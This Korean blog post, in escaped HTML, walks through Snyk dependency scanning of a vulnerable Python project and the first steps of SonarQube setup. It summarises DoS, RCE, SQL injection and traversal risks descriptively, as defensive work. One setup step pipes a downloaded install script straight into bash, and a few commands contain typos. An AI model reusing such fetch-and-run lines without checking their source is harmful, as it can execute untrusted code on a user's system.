&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-1 Snyk 설치&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Snyk CLI&lt;/b&gt;는 &lt;b&gt;Node.js 기반 도구&lt;/b&gt;이다. 런타임 관리 도구인 &lt;b&gt;NVM(Node Version Manager)&lt;/b&gt;는 설치 경로를 사용자 홈 디렉토리로 재지정하여&lt;b&gt; root 권한없이 안전한 도구 관리를 가능&lt;/b&gt;하게 한다. 이는 최소 권한 원칙을 준수하여 관리자 권한 남용에 따른 시스템 오염과 공급망 보안 위협을 차단하는 가드레일 역할을 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;i&gt;&lt;b&gt;1) NVM 및 Node.js 설치&amp;nbsp;&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;NVM 설치 스크립트 실행: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;curl -o- &lt;a style=&quot;background-color: #f6e199;&quot; href=&quot;https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh&quot;&gt;https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh&lt;/a&gt; | bash&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;환경 설정 반영:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;source ~/.bashrc&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,0&quot;&gt;Node.js LTS(안정 버전) 설치: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;nvm install --lts&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;i&gt;&lt;b&gt;2) Snyk CLI 설치 및 수동 인증&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;Snyk 설치 (sudo 제외): &lt;span style=&quot;background-color: #f6e199;&quot;&gt;npm install -g snyk&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;인증 토큰 획득:&lt;/b&gt; Snyk 웹 대시보드 접속 &amp;rarr; Account Settings &amp;rarr; General 탭 하단의 KEY 값 복사&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,2,0&quot;&gt;터미널 토큰 등록: &lt;span style=&quot;background-color: #f6e199;&quot;&gt;snyk config set api=&amp;lt;복사한_토큰_값&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,3,0&quot;&gt;인증 결과 확인:&lt;span style=&quot;background-color: #f6e199;&quot;&gt; snyk whoamI&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt;3-2 SnYk SCA 작동 원리&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;1. 로컬 의존성 트리 분석 (Inventory)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;Snyk CLI는 프로젝트 폴더 내의 &lt;b&gt;매니페스트 파일&lt;/b&gt;(&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;requirements.txt, package.json &lt;/b&gt;&lt;/span&gt;등)을 분석한다. 단순히 파일에 적힌 이름만 보는 것이 아니라, 각 라이브러리가 불러오는 &lt;b&gt;하위 라이브러리들까지 추적&lt;/b&gt;하여 전체적인 **의존성 그래프(Dependency Graph)**를 생성한다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2. 지문 채취 및 메타데이터 전송 (Fingerprinting)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;분석된 라이브러리들의 &lt;b&gt;이름, 버전 정보, 해시(Hash)값 등 식별 데이터를 추출&lt;/b&gt;한다. 이때 소스 코드 전체를 전송하는 것이 아니라, 어떤 부품을 사용하는지에 대한 **&lt;b&gt;디지털 지문(Fingerprint)**만을 Snyk 클라우드 서버로 보낸다&lt;/b&gt;.&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3. Snyk Intel DB 실시간 대조 (Matching)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;전송된 부품 명단을 Snyk이 관리하는 전 세계 취약점 데이터베이스(Snyk Intel DB)와 대조한&lt;/b&gt;다. 이 DB에는 공개된 CVE 정보와 Snyk 전담 연구팀이 발견한 미공개 보안 결함이 실시간으로 업데이트되어 있다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4. 처방전 발행 (Remediation)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;10&quot; data-ke-size=&quot;size16&quot;&gt;대조 결과, &lt;b&gt;취약점이 발견된 버전(Vulnerable Version)이 식별되면 Snyk은 즉시 해결책을 제시한&lt;/b&gt;다. 단순히 &quot;위험하다&quot;는 경고에 그치지 않고, 해당 취약점이 해결된 **최소 안전 버전(Minimum Secure Version)**으로의 업그레이드 경로를 안내&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-3 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Snyk는 requirements.txt 파일만 읽는 것이 아니라 &lt;b&gt;실제로 해당 라이브러리들이 현재 Python 환경에 설치된 상태(pip list)를 대조&lt;/b&gt;하여 정확한 지문을 추출하려고 시도하기 때문에 &lt;b&gt;venv 가상환경을 이용하여 라이브러리를 먼저 설치&lt;/b&gt;한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1777135599088&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;python3 -m venv venv
source venv/bin/activae
pip install -r requirements.txt
snyk test&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;그 이후로도 에러에 따라서 여러 빌드도구들을 설치하면서 어찌저찌 완료&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;55&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UX1rB/dJMcahYuHZ7/uFbmftaLb4GjRxbpAUF3x1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UX1rB/dJMcahYuHZ7/uFbmftaLb4GjRxbpAUF3x1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UX1rB/dJMcahYuHZ7/uFbmftaLb4GjRxbpAUF3x1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUX1rB%2FdJMcahYuHZ7%2FuFbmftaLb4GjRxbpAUF3x1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;763&quot; height=&quot;55&quot; data-origin-width=&quot;763&quot; data-origin-height=&quot;55&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;분석 결과와 함께 upgrade 해야할 버전&lt;/b&gt;과 &lt;b&gt;위험등급&lt;/b&gt;이 뜬다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;582&quot; data-origin-height=&quot;303&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mzdii/dJMcahKYUSa/uidcmB6muHkCzBROt3ZBbK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mzdii/dJMcahKYUSa/uidcmB6muHkCzBROt3ZBbK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mzdii/dJMcahKYUSa/uidcmB6muHkCzBROt3ZBbK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fmzdii%2FdJMcahKYUSa%2FuidcmB6muHkCzBROt3ZBbK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;582&quot; height=&quot;303&quot; data-origin-width=&quot;582&quot; data-origin-height=&quot;303&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;예시 1)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QK0oV/dJMcaffl93n/HMZWeVPeo8x4dyVKBMDHm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QK0oV/dJMcaffl93n/HMZWeVPeo8x4dyVKBMDHm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QK0oV/dJMcaffl93n/HMZWeVPeo8x4dyVKBMDHm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQK0oV%2FdJMcaffl93n%2FHMZWeVPeo8x4dyVKBMDHm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;955&quot; height=&quot;162&quot; data-origin-width=&quot;955&quot; data-origin-height=&quot;162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;진단&lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&amp;nbsp; &lt;b&gt;Improper Following of a Certificate's Chain of Trust (Critical):&lt;/b&gt; certifi 라이브러리는 안전한 웹 통신(HTTPS)을 위해 어떤 인증서가 진짜인지 확인하는 '신뢰할 수 있는 목록(Root CA)'을 담고 있다. 2022년 버전은 이미 신뢰를 잃은 오염된 인증서를 여전히 &quot;진짜&quot;라고 믿고 있을 수 있다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;위협&amp;nbsp; &lt;/b&gt;: 공격자가 가짜 인증서를 내밀어도 시스템이 이를 통과&lt;/li&gt;
&lt;li&gt;&lt;b&gt;해결 방안 : &lt;/b&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;requirements.txt&lt;/span&gt;의 certifi 버전 수정&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;58&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdiYph/dJMcajoo0oG/0eujFopxneIZztuT6hRIFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdiYph/dJMcajoo0oG/0eujFopxneIZztuT6hRIFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdiYph/dJMcajoo0oG/0eujFopxneIZztuT6hRIFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdiYph%2FdJMcajoo0oG%2F0eujFopxneIZztuT6hRIFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;743&quot; height=&quot;58&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;58&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;다시 snyk test를 실행해보면 취약점이 사라졌음을 알 수 있다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3-4 핵심 취약점 분석&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;여러 취약점 중 핵심적인 몇가지만 정리해보면 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1. 서비스 거부 (Denial of Service, DoS)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;대상:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;cryptography&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;django&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;werkzeug&lt;/span&gt; 등 다수&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;진단:&lt;/b&gt; 부적절한 자원 할당 및 알고리즘 복잡도 결함&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,2,0&quot;&gt;위협:&lt;/b&gt; 공격자가 조작된 요청을 보내 서버의 CPU나 메모리 자원을 고갈시킴으로써, 정상적인 사용자가 서비스를 이용하지 못하게 만듦 (시스템 마비)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,3,0&quot;&gt;해결 방안:&lt;/b&gt; 각 라이브러리를 Snyk 추천 버전(cryptography@46.0.6 등)으로 업데이트하여 자원 관리 로직 최적화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;2. 임의 코드 실행 (Arbitrary Code Execution / RCE)&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;6&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,0,0&quot;&gt;대상:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;pyyaml&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;werkzeug&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;pillow&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,1,0&quot;&gt;진단:&lt;/b&gt; 안전하지 않은 역직렬화(Unsafe Deserialization) 및 입력값 처리 미흡&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,2,0&quot;&gt;위협:&lt;/b&gt; 공격자가 서버 권한으로 임의의 명령어를 실행할 수 있음. 데이터베이스 삭제, 백도어 설치 등 &lt;b data-index-in-node=&quot;56&quot; data-path-to-node=&quot;6,2,0&quot;&gt;시스템 전체 장악&lt;/b&gt;이 가능한 가장 치명적인 공격&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;6,3,0&quot;&gt;해결 방안:&lt;/b&gt; pyyaml@5.4 이상 업그레이드 및 yaml.safe_load()와 같은 안전한 함수 사용 강제&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;7&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;3. SQL 인젝션 (SQL Injection)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;8&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,0,0&quot;&gt;대상:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;django&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;sqlparse&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,1,0&quot;&gt;진단:&lt;/b&gt; 데이터베이스 쿼리 생성 시 사용자 입력값이 적절히 필터링되지 않음&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,2,0&quot;&gt;위협:&lt;/b&gt; 공격자가 데이터베이스에 직접 질의를 던져 관리자 계정 정보를 탈취하거나 데이터를 조작함&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8,3,0&quot;&gt;해결 방안:&lt;/b&gt; django@4.2.30 패치 및 ORM 사용 시 Raw SQL 사용을 지양하는 보안 가이드라인 준수&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-path-to-node=&quot;9&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;4. 경로 조작 및 파일 탐색 (Directory Traversal)&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;10&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,0,0&quot;&gt;대상:&lt;/b&gt; &lt;span style=&quot;background-color: #f6e199;&quot;&gt;django&lt;/span&gt;, &lt;span style=&quot;background-color: #f6e199;&quot;&gt;werkzeug&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,1,0&quot;&gt;진단:&lt;/b&gt; 파일 경로를 처리할 때 상위 디렉토리로 이동하는 문자열(../)에 대한 검증 부족&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,2,0&quot;&gt;위협:&lt;/b&gt; 공격자가 의도하지 않은 시스템 설정 파일&lt;span style=&quot;background-color: #f6e199;&quot;&gt;(/etc/passwd&lt;/span&gt; 등)이나 소스 코드 파일에 접근하여 민감 정보 탈취&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10,3,0&quot;&gt;해결 방안:&lt;/b&gt; 최신 버전 패치 및 파일 입출력 시 경로 살균(Path Sanitization) 로직 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3-5 결론&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오픈소스 종속성 내에 &lt;b&gt;가용성(DoS), 기밀성(SQLi,Traversal), 무결성(RCE)를 위협&lt;/b&gt;하는 핵심 취약점이 고루 분포해있었다. 특히 Critical/High 등급의 취약점들은 외부인이 서버 전체를 통제할 수 있는 심각한 상태로 &lt;b&gt;requirements.txt내의 패키지 버전을 Synk 권고안에 맞춰 일괄 갱신&lt;/b&gt;후 재배포를 해야하고 장기적으로 &lt;b&gt;CI/CD 파이프라인에 Synk 스캔을 연동하여 취약한 부품 반입을 차단&lt;/b&gt;한느 가드레일을 구축해야한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;text-align: center;&quot; data-ke-size=&quot;size23&quot;&gt;4. SonarQube를 활용한 SAST(Static Application Security Testing)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SAST&lt;/b&gt;란 &lt;b&gt;소스코드를 실행하지 않은 상태에서 코드 내부의 논리적 결함, 보안 약점, 취약점을 분석&lt;/b&gt;하는 정적 분석 기술이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SonarQube&lt;/b&gt;는 &lt;b&gt;코드 품질과 보안을 통합 관리하는 오픈소스 플랫폼&lt;/b&gt;으로 코드 복잡도 측정, 중복 코드 탐지, 보안 취약점 스캔, 기술 부채 지표 제공등의 기능을 한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4-1 SonarQube 설치&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PyGoat 환경과 격리하여 빠르고 간편하게 실행하기 위해 Docker를 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;1. Docker 네트워크 생성&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777170010559&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;docker network create sonarqube-net&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;3&quot; data-ke-size=&quot;size16&quot;&gt;Docker 네트워크 설정을 별도로 하는 이유는 **&lt;b&gt;격리(Isolation)&lt;/b&gt;**와 &lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;3&quot;&gt;가용성(Availability)&lt;/b&gt; 때문이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;4&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,0,0&quot;&gt;개념:&lt;/b&gt; 컨테이너들이 서로 통신하기 위해 연결되는 가상 스위치 역할&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,0&quot;&gt;사용 이유 &lt;/b&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;9&quot; data-path-to-node=&quot;4,1,0&quot;&gt;DNS 서비스 검색:&lt;/b&gt; 기본 브리지와 달리 사용자 정의 네트워크는 IP 대신 컨테이너 이름(예: sonarqube)으로 통신이 가능하여 관리가 편하다.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;4,1,1,0,0&quot;&gt;네트워크 격리:&lt;/b&gt; 외부 노출이 필요 없는 DB 등을 외부망과 차단하여 보안을 강화합니다. (&lt;b data-index-in-node=&quot;50&quot; data-path-to-node=&quot;4,1,1,0,0&quot;&gt;제로 트러스트&lt;/b&gt; 기본 원칙)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;&lt;b&gt;2. 시스템 설정 최적화&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1777170128705&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 일시적 적용 (재부팅 시 초기화)
sudo sysctl -w vm.max_map_count=262144

# 영구적 적용
echo &quot;vm.max_map_count=262144&quot; | sudo tee -a /etc/sysctl.conf&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
